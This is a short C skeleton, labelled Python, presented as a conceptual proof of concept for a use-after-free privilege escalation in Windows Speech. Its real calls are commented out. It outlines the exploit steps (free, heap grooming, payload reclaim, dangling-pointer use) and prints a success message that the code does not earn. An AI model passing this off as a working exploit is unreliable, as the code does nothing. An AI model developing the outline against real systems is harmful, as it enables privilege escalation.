The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <stdio.h>
// Conceptual PoC for CVE-2026-32153: Use After Free in Windows Speech
// This code demonstrates the logic of a UAF vulnerability.
// Actual exploitation requires specific heap grooming and object manipulation.
void trigger_exploit() {
HANDLE hDevice = NULL;
PVOID vulnerable_object = NULL;
DWORD bytes_returned;
printf("[*] Initializing Windows Speech interaction...\n");
// Step 1: Allocate the vulnerable object
// Simulating interaction with the Speech API to allocate memory
// AllocObject(&vulnerable_object);
printf("[*] Object allocated at: %p\n", vulnerable_object);
// Step 2: Trigger the free operation
// Sending a specific request to the driver/service that frees the object
// Vulnerability: The pointer is not nulled out after free
// FreeObject(vulnerable_object);
printf("[*] Triggering memory free...\n");
// Step 3: Heap Grooming / Reallocation
// Occupy the freed memory space with controlled data (payload)
// SprayHeap();
printf("[*] Reclaiming freed memory with payload...\n");
// Step 4: Trigger Use-After-Free
// The system attempts to use the dangling pointer, executing attacker-controlled code
// UseObject(vulnerable_object);
printf("[*] Triggering Use-After-Free...\n");
printf("[+] Exploit logic complete. Privilege elevation attempted.\n");
}
int main() {
trigger_exploit();
return 0;
}